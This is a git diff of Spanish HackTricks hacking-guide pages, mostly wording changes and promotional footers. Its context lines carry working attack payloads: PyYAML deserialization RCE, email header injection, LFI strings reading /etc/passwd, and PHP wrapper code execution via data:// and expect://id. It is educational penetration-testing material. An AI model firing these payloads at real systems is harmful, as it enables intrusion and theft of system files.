* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,13 +1,13 @@
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** Twitter 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
@ -75,7 +75,7 @@ print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))
```
## Vulnerable .load("\<content>") without Loader
## Vulnerable .load("\<content>") sin Loader
Las **versiones antiguas** de pyyaml eran vulnerables a ataques de deserialización si **no especificabas el Loader** al cargar algo: `yaml.load(data)`
@ -118,7 +118,7 @@ print(yaml.unsafe_load(deserialized_data))
```
## Herramienta para crear Payloads
La herramienta [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) se puede utilizar para generar payloads de deserialización de Python para abusar de **Pickle, PyYAML, jsonpickle y ruamel.yaml:**
La herramienta [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) se puede utilizar para generar payloads de deserialización en Python para abusar de **Pickle, PyYAML, jsonpickle y ruamel.yaml:**
```bash
python3 peas.py
Enter RCE command :cat /root/flag.txt
@ -155,7 +155,7 @@ Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -6,10 +6,10 @@
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -17,14 +17,14 @@ Otras formas de apoyar a HackTricks:
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las **herramientas comunitarias más avanzadas** del mundo.\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
¡Accede hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Toma de control de dominio
Si descubres un dominio (dominio.tld) que está **siendo utilizado por algún servicio dentro del alcance** pero la **empresa** ha **perdido la propiedad** del mismo, puedes intentar **registrarlo** (si es lo suficientemente barato) y notificar a la empresa. Si este dominio está recibiendo alguna **información sensible** como una cookie de sesión a través de un parámetro **GET** o en la cabecera **Referer**, esto es sin duda una **vulnerabilidad**.
Si descubres que algún dominio (dominio.tld) está **siendo utilizado por algún servicio dentro del alcance** pero la **empresa** ha **perdido la propiedad** del mismo, puedes intentar **registrarlo** (si es lo suficientemente barato) y notificar a la empresa. Si este dominio está recibiendo alguna **información sensible** como una cookie de sesión a través de un parámetro **GET** o en la cabecera **Referer**, esto es sin duda una **vulnerabilidad**.
### Toma de control de subdominio
@ -50,13 +50,13 @@ Las comprobaciones de toma de control de subdominios están incluidas en la enum
```bash
bbot -t evilcorp.com -f subdomain-enum
```
### Generación de Subdominios Takeover a través de DNS Wildcard
### Generación de Subdominio Takeover a través de DNS Wildcard
Cuando se utiliza un comodín DNS en un dominio, cualquier subdominio solicitado de ese dominio que no tenga una dirección diferente explícitamente será **resuelto a la misma información**. Esto podría ser una dirección IP A, un CNAME...
Por ejemplo, si `*.testing.com` está configurado como comodín a `1.1.1.1`. Entonces, `not-existent.testing.com` apuntará a `1.1.1.1`.
Sin embargo, si en lugar de apuntar a una dirección IP, el administrador del sistema lo apunta a un **servicio de terceros a través de un CNAME**, como un **subdominio de github** por ejemplo (`sohomdatta1.github.io`). Un atacante podría **crear su propia página de terceros** (en Github en este caso) y decir que `something.testing.com` apunta allí. Debido a que el **comodín CNAME** lo permite, el atacante podrá **generar subdominios arbitrarios para el dominio de la víctima apuntando a sus páginas**.
Sin embargo, si en lugar de apuntar a una dirección IP, el administrador de sistemas lo apunta a un **servicio de terceros a través de CNAME**, como un **subdominio de github** por ejemplo (`sohomdatta1.github.io`). Un atacante podría **crear su propia página de terceros** (en Github en este caso) y decir que `something.testing.com` apunta allí. Debido a que el **comodín CNAME** lo permite, el atacante podrá **generar subdominios arbitrarios para el dominio de la víctima apuntando a sus páginas**.
Puedes encontrar un ejemplo de esta vulnerabilidad en el write-up de CTF: [https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api)
@ -79,15 +79,15 @@ Otro aspecto del subdominio takeover implica servicios de correo electrónico. L
Otros riesgos incluyen el **takeover de registros NS**. Si un atacante obtiene control sobre un registro NS de un dominio, potencialmente puede dirigir una parte del tráfico a un servidor bajo su control. Este riesgo se amplifica si el atacante establece un alto **TTL (Tiempo de Vida)** para los registros DNS, prolongando la duración del ataque.
### Vulnerabilidad de Registro CNAME
Los atacantes pueden explotar registros CNAME no reclamados que apuntan a servicios externos que ya no se utilizan o han sido desactivados. Esto les permite crear una página bajo el dominio de confianza, facilitando aún más el phishing o la distribución de malware.
Los atacantes podrían explotar registros CNAME no reclamados que apuntan a servicios externos que ya no se utilizan o han sido desactivados. Esto les permite crear una página bajo el dominio de confianza, facilitando aún más el phishing o la distribución de malware.
### **Estrategias de Mitigación**
Las estrategias de mitigación incluyen:
1. **Eliminar registros DNS vulnerables** - Esto es efectivo si el subdominio ya no es necesario.
2. **Reclamar el nombre de dominio** - Registrar el recurso con el proveedor de la nube respectivo o recomprar un dominio caducado.
2. **Reclamar el nombre de dominio** - Registrar el recurso con el proveedor de la nube respectivo o volver a comprar un dominio caducado.
3. **Monitoreo regular de vulnerabilidades** - Herramientas como [aquatone](https://github.com/michenriksen/aquatone) pueden ayudar a identificar dominios susceptibles. Las organizaciones también deben revisar sus procesos de gestión de infraestructura, asegurando que la creación de registros DNS sea el último paso en la creación de recursos y el primer paso en la destrucción de recursos.
Para los proveedores de nube, verificar la propiedad del dominio es crucial para prevenir subdominios takeovers. Algunos, como [GitLab](https://about.gitlab.com/2018/02/05/gitlab-pages-custom-domain-validation/), han reconocido este problema e implementado mecanismos de verificación de dominio.
Para los proveedores de nube, verificar la propiedad del dominio es crucial para prevenir subdominio takeovers. Algunos, como [GitLab](https://about.gitlab.com/2018/02/05/gitlab-pages-custom-domain-validation/), han reconocido este problema e implementado mecanismos de verificación de dominio.
## Referencias
* [https://0xpatrik.com/subdomain-takeover/](https://0xpatrik.com/subdomain-takeover/)
@ -109,7 +109,7 @@ Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -17,7 +17,7 @@ Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -40,7 +40,7 @@ From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```
### Cambiar el cuerpo del mensaje
Inyecta dos saltos de línea, luego escribe tu mensaje para cambiar el cuerpo del mensaje.
Inyecta dos líneas en blanco y luego escribe tu mensaje para cambiar el cuerpo del mensaje.
```
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
```
@ -64,7 +64,7 @@ Parameter #4 [ <optional> $additional_parameters ]
Esta sección se basará en **cómo abusar de este parámetro suponiendo que un atacante lo controle**.
Este parámetro se agregará a la línea de comandos que PHP usará para invocar el binario sendmail. Sin embargo, será sanitizado con la función `escapeshellcmd($additional_parameters)`.
Este parámetro se agregará a la línea de comandos que PHP utilizará para invocar el binario sendmail. Sin embargo, será sanitizado con la función `escapeshellcmd($additional_parameters)`.
Un atacante puede **inyectar parámetros adicionales para sendmail** en este caso.
@ -115,16 +115,16 @@ También puedes usar IPs como nombres de dominio entre corchetes:
### XSS
Algunos servicios como **github** o **salesforce permiten** crear una **dirección de correo electrónico con payloads XSS**. Si puedes **utilizar estos proveedores para iniciar sesión en otros servicios** y estos servicios **no están sanitizando** correctamente el correo electrónico, podrías causar **XSS**.
Algunos servicios como **github** o **salesforce permiten** crear una **dirección de correo electrónico con payloads XSS**. Si puedes **usar estos proveedores para iniciar sesión en otros servicios** y estos servicios **no están sanitizando** correctamente el correo electrónico, podrías causar **XSS**.
### Toma de control de cuenta
Si un **servicio SSO** te permite **crear una cuenta sin verificar la dirección de correo electrónico proporcionada** (como **salesforce**) y luego puedes usar esa cuenta para **iniciar sesión en un servicio diferente** que **confía** en salesforce, podrías acceder a cualquier cuenta.\
Si un **servicio SSO** te permite **crear una cuenta sin verificar la dirección de correo electrónico** proporcionada (como **salesforce**) y luego puedes usar esa cuenta para **iniciar sesión en un servicio diferente** que **confía** en salesforce, podrías acceder a cualquier cuenta.\
_Nota que salesforce indica si el correo electrónico proporcionado fue verificado o no, por lo que la aplicación debería tener en cuenta esta información._
## Responder a
## Reply-To
Puedes enviar un correo electrónico usando _**De: empresa.com**_ y _**Responder a: atacante.com**_ y si se envía alguna **respuesta automática** debido a que el correo electrónico se envió **desde** una **dirección interna**, el **atacante** podría **recibir** esa **respuesta**.
Puedes enviar un correo electrónico usando _**From: company.com**_ y _**Replay-To: attacker.com**_ y si se envía alguna **respuesta automática** debido a que el correo electrónico se envió **desde** una **dirección interna**, el **atacante** podría **recibir** esa **respuesta**.
## Tasa de rebote duro
@ -132,7 +132,7 @@ Algunos servicios, como AWS, implementan un umbral conocido como la **Tasa de Re
Un **rebote duro** se refiere a un **correo electrónico** que ha sido devuelto al remitente porque la dirección del destinatario es inválida o no existe. Esto podría ocurrir por diversas razones, como el envío del correo electrónico a una dirección inexistente, un dominio que no es real o la negativa del servidor del destinatario a aceptar **correos electrónicos**.
En el contexto de AWS, si envías 1000 correos electrónicos y 100 de ellos resultan en rebotes duros (por razones como direcciones o dominios inválidos), esto significaría una tasa de rebote duro del 10%. Alcanzar o superar esta tasa puede provocar que AWS SES (Simple Email Service) bloquee o suspenda tus capacidades de envío de correos electrónicos.
En el contexto de AWS, si envías 1000 correos electrónicos y 100 de ellos resultan en rebotes duros (debido a razones como direcciones o dominios inválidos), esto significaría una tasa de rebote duro del 10%. Alcanzar o superar esta tasa puede provocar que AWS SES (Simple Email Service) bloquee o suspenda tus capacidades de envío de correos electrónicos.
Es crucial mantener una tasa de rebote duro baja para garantizar un servicio de correo electrónico ininterrumpido y mantener la reputación del remitente. Monitorear y gestionar la calidad de las direcciones de correo electrónico en tus listas de correo puede ayudar significativamente a lograr esto.
@ -154,7 +154,7 @@ Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -163,6 +163,6 @@ Otras formas de apoyar a HackTricks:
\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
Accede hoy mismo:
¡Accede hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -2,15 +2,15 @@
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -19,10 +19,10 @@ Otras formas de apoyar a HackTricks:
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores.
**Perspectivas de Hacking**\
Involúcrate con contenido que profundiza en la emoción y desafíos del hacking
Involúcrate con contenido que explora la emoción y los desafíos del hacking
**Noticias de Hacking en Tiempo Real**\
Mantente actualizado con el mundo del hacking a través de noticias e información en tiempo real
Mantente al día con el mundo del hacking a través de noticias e información en tiempo real
**Últimos Anuncios**\
Mantente informado sobre los nuevos programas de recompensas por errores y actualizaciones importantes de plataformas
@ -72,7 +72,7 @@ Verifica la lista de LFI de Linux.
## LFI básico y bypasses
Todos los ejemplos son para Inclusión de Archivos Locales pero también se pueden aplicar a la Inclusión de Archivos Remotos (página=[http://miservidor.com/phpshellcode.txt\\](http://miservidor.com/phpshellcode.txt\)/).
Todos los ejemplos son para Inclusión de Archivos Local pero también podrían aplicarse a la Inclusión de Archivos Remota (página=[http://miservidor.com/phpshellcode.txt\\](http://miservidor.com/phpshellcode.txt\)/).
```
http://example.com/index.php?page=../../../etc/passwd
```
@ -84,7 +84,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Byte nulo (%00)**
Bypass para agregar más caracteres al final de la cadena proporcionada (bypass de: $\_GET\['param']."php")
Burla la adición de más caracteres al final de la cadena proporcionada (burla de: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
@ -133,12 +133,12 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Técnica de Truncamiento de Ruta**
El truncamiento de ruta es un método utilizado para manipular las rutas de archivos en aplicaciones web. A menudo se utiliza para acceder a archivos restringidos al eludir ciertas medidas de seguridad que añaden caracteres adicionales al final de las rutas de archivos. El objetivo es crear una ruta de archivo que, una vez modificada por la medida de seguridad, siga apuntando al archivo deseado.
El truncamiento de ruta es un método utilizado para manipular las rutas de archivos en aplicaciones web. A menudo se emplea para acceder a archivos restringidos al eludir ciertas medidas de seguridad que añaden caracteres adicionales al final de las rutas de archivos. El objetivo es crear una ruta de archivo que, una vez modificada por la medida de seguridad, siga apuntando al archivo deseado.
En PHP, varias representaciones de una ruta de archivo pueden considerarse equivalentes debido a la naturaleza del sistema de archivos. Por ejemplo:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` y `/etc/passwd/` se tratan como la misma ruta.
- Cuando los últimos 6 caracteres son `passwd`, añadir un `/` (haciéndolo `passwd/`) no cambia el archivo objetivo.
- Cuando los últimos 6 caracteres son `passwd`, añadir un `/` (convirtiéndolo en `passwd/`) no cambia el archivo objetivo.
- De manera similar, si se añade `.php` a una ruta de archivo (como `shellcode.php`), agregar un `/.` al final no alterará el archivo al que se accede.
Los ejemplos proporcionados muestran cómo utilizar el truncamiento de ruta para acceder a `/etc/passwd`, un objetivo común debido a su contenido sensible (información de cuentas de usuario):
@ -190,7 +190,7 @@ PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKC
{% endcode %}
{% hint style="info" %}
En el código anterior, se agregó `+.txt` al final porque el atacante necesitaba una cadena que terminara en `.txt`, de modo que la cadena termine con eso y después de la decodificación b64 esa parte devolverá solo basura y se incluirá el verdadero código PHP (y por lo tanto, se ejecutará).
En el código anterior, se agregó `+.txt` al final porque el atacante necesitaba una cadena que terminara en `.txt`, de modo que la cadena termine con eso y después de la decodificación b64 esa parte devolverá solo basura y el verdadero código PHP será incluido (y por lo tanto, ejecutado).
{% endhint %}
Otro ejemplo **sin usar el protocolo `php://`** sería:
@ -217,11 +217,11 @@ Es el comportamiento previsto según [la documentación](https://docs.python.org
## Listado de Directorios en Java
Parece que si tienes una Travesía de Rutas en Java y **solicitas un directorio** en lugar de un archivo, se devuelve un **listado del directorio**. Esto no sucede en otros lenguajes (por lo que sé).
Parece que si tienes una Travesía de Ruta en Java y **solicitas un directorio** en lugar de un archivo, se devuelve un **listado del directorio**. Esto no sucede en otros lenguajes (por lo que sé).
## Top 25 parámetros
Aquí tienes una lista de los 25 principales parámetros que podrían ser vulnerables a vulnerabilidades de inclusión de archivos locales (LFI) (de [este enlace](https://twitter.com/trbughunters/status/1279768631845494787)):
Aquí tienes una lista de los 25 principales parámetros que podrían ser vulnerables a vulnerabilidades de inclusión de archivos locales (LFI) (desde [este enlace](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@ -249,11 +249,11 @@ Aquí tienes una lista de los 25 principales parámetros que podrían ser vulner
?mod={payload}
?conf={payload}
```
## LFI / RFI usando envolturas y protocolos PHP
## LFI / RFI usando envolturas y protocolos de PHP
### php://filter
Los filtros de PHP permiten realizar operaciones básicas de modificación en los datos antes de ser leídos o escritos. Hay 5 categorías de filtros:
Los filtros de PHP permiten realizar operaciones básicas de **modificación en los datos** antes de ser leídos o escritos. Hay 5 categorías de filtros:
* [Filtros de cadena](https://www.php.net/manual/en/filters.string.php):
* `string.rot13`
@ -269,13 +269,13 @@ Los filtros de PHP permiten realizar operaciones básicas de modificación en lo
* `convert.iconv.*`: Transforma a una codificación diferente (`convert.iconv.<input_enc>.<output_enc>`). Para obtener la **lista de todas las codificaciones** admitidas, ejecuta en la consola: `iconv -l`
{% hint style="warning" %}
Abusando del filtro de conversión `convert.iconv.*`, puedes **generar texto arbitrario**, lo cual podría ser útil para escribir texto arbitrario o hacer que una función como la inclusión de texto arbitrario sea procesada. Para obtener más información, consulta [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
Abusando del filtro de conversión `convert.iconv.*` puedes **generar texto arbitrario**, lo cual podría ser útil para escribir texto arbitrario o hacer que una función como la inclusión de texto arbitrario sea procesada. Para más información, consulta [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
{% endhint %}
* [Filtros de compresión](https://www.php.net/manual/en/filters.compression.php)
* `zlib.deflate`: Comprime el contenido (útil si se está exfiltrando mucha información)
* `zlib.inflate`: Descomprime los datos
* [Filtros de cifrado](https://www.php.net/manual/en/filters.encryption.php)
* [Filtros de encriptación](https://www.php.net/manual/en/filters.encryption.php)
* `mcrypt.*`: Obsoleto
* `mdecrypt.*`: Obsoleto
* Otros filtros
@ -342,7 +342,7 @@ http://example.com/index.php?page=rar://shell.jpg%23payload.php
```
### data://
La pseudoruta `data://` se puede utilizar en ataques de inclusión de archivos para cargar datos directamente desde la URL. Esto puede ser útil para cargar datos codificados en base64, como archivos de imagen o scripts maliciosos, directamente en la aplicación vulnerable.
La pseudoruta `data://` se puede utilizar en ataques de inclusión de archivos para cargar datos directamente desde la URL en lugar de un archivo en el sistema de archivos. Esto puede ser útil para cargar datos codificados en base64 u otros formatos directamente desde la solicitud HTTP.
```
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
@ -356,7 +356,7 @@ Ten en cuenta que este protocolo está restringido por las configuraciones de ph
### expect://
Expect tiene que estar activado. Puedes ejecutar código usando esto:
Expect debe estar activado. Puedes ejecutar código usando esto:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
@ -382,9 +382,9 @@ Para compilar el archivo `.phar`, se debe ejecutar el siguiente comando:
```bash
php --define phar.readonly=0 create_path.php
```
Al ejecutarse, se creará un archivo llamado `test.phar`, que potencialmente podría ser aprovechado para explotar vulnerabilidades de Inclusión Local de Archivos (LFI).
Al ejecutarse, se creará un archivo llamado `test.phar`, que potencialmente podría ser aprovechado para explotar vulnerabilidades de Inclusión de Archivos Locales (LFI).
En casos donde el LFI solo realiza la lectura de archivos sin ejecutar el código PHP dentro, a través de funciones como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, o `filesize()`, se podría intentar la explotación de una vulnerabilidad de deserialización. Esta vulnerabilidad está asociada con la lectura de archivos utilizando el protocolo `phar`.
En casos donde la LFI solo realiza la lectura de archivos sin ejecutar el código PHP dentro, a través de funciones como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, o `filesize()`, se podría intentar la explotación de una vulnerabilidad de deserialización. Esta vulnerabilidad está asociada con la lectura de archivos utilizando el protocolo `phar`.
Para comprender detalladamente cómo explotar vulnerabilidades de deserialización en el contexto de archivos `.phar`, consulta el documento vinculado a continuación:
@ -409,7 +409,7 @@ Consulta más posibles [**protocolos para incluir aquí**](https://www.php.net/m
## LFI a través de 'assert' de PHP
Los riesgos de Inclusión Local de Archivos (LFI) en PHP son notablemente altos al tratar con la función 'assert', que puede ejecutar código dentro de cadenas. Esto es particularmente problemático si la entrada que contiene caracteres de travesía de directorios como ".." se está verificando pero no se está desinfectando correctamente.
Los riesgos de Inclusión de Archivos Locales (LFI) en PHP son notablemente altos al tratar con la función 'assert', que puede ejecutar código dentro de cadenas. Esto es particularmente problemático si la entrada que contiene caracteres de travesía de directorios como ".." está siendo verificada pero no se está desinfectando adecuadamente.
Por ejemplo, el código PHP podría estar diseñado para prevenir la travesía de directorios de la siguiente manera:
```bash
@ -430,24 +430,24 @@ Es importante **codificar en URL estas cargas útiles**.
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores.
**Perspectivas de Hacking**\
**Información sobre Hacking**\
Participa en contenido que explora la emoción y los desafíos del hacking
